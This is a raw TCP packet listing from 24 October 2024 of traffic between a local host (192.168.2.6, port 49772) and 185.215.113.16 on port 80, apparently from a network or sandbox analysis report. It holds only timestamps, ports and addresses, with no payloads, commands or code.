Oct 24, 2024 09:07:31.780075073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780081034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780095100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780109882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780118942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780133963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780148983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780158043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780173063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780189991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780195951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780210018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780227900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780234098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780260086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780281067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780293941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780309916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780328035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780333996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780352116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780358076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780373096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780400038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780428886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780442953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780457020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780473948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780483007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780497074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780514956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780580997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780592918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780606985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780616045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780631065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780639887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780653000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780667067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780683994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780690908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780724049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780735970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780750990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780766010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780780077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780787945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780802011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780814886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780858040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780869961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780884027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780891895 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780905962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780915976 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780929089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780952930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780961990 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780975103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780991077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.781006098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.781013966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.781029940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.781045914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.781053066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.781068087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.781083107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823195934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823224068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823237896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823246956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823262930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823285103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823296070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823328972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823338985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823362112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823375940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823393106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823483944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823494911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823508978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823518038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823533058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823544025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823561907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823568106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823585987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823597908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823621988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823636055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823687077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823702097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823719978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823731899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823753119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823760986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823837042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823851109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823865891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823873997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823885918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823895931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.823921919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823930025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823931932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823945045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823961020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823976040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.823986053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.824014902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.824064970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.824079990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.824095011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.824105024 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.824116945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.824139118 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.865421057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.865442038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.865458965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.865474939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.865504026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895256996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895278931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895334959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895360947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895386934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895411968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895422935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895437956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895452976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895473957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895479918 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895493031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895508051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895525932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895533085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895550966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895556927 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895586967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895587921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895600080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895617008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895632982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895642996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895678997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895705938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895710945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895725965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895766020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895797968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895812988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895827055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895837069 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895850897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895869017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895944118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895961046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.895982981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.895999908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896002054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896015882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896045923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896064997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896095037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896109104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896125078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896141052 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896152020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896167040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896187067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896193981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896222115 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896281004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896295071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896313906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896333933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896439075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896454096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896469116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896478891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896492958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896508932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896517992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896531105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896548986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896555901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896570921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896594048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896671057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896686077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896706104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896712065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896724939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896744967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896753073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896766901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896776915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896836996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896850109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896868944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896876097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896889925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896898985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896912098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896925926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896941900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.896979094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.896994114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897010088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897128105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897141933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897156954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897172928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897192001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897198915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897207022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897221088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897228956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897243023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897258043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897274017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897288084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897301912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897320986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897327900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897360086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897559881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897574902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897589922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897603989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897614956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897629023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897640944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897650003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897664070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897679090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897686958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897701025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897718906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897725105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897736073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897749901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897759914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897775888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897794008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897799969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897826910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.897850037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897865057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897881031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.897895098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898099899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898114920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898130894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898142099 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898154974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898164988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898178101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898191929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898209095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898216963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898231030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898247957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898256063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898269892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898288965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898294926 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898307085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898324013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898332119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898346901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898361921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898370981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898385048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898394108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898406982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898439884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898488045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898500919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898514986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898530006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898540020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898555040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898564100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898655891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898670912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898690939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898700953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898715019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898730040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898741961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898753881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898765087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898777962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898791075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898806095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898813963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898827076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898834944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.898847103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898859978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.898884058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.900034904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.910583019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.910597086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.910625935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940301895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940330029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940340996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940357924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940372944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940393925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940401077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940426111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940443039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940459013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940484047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940495014 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940509081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940522909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940546036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940557957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940572977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940588951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940598965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940613985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940638065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940684080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940726042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.940762997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940777063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.940789938 CEST	80	49772	185.215.113.16	192.168.2.6
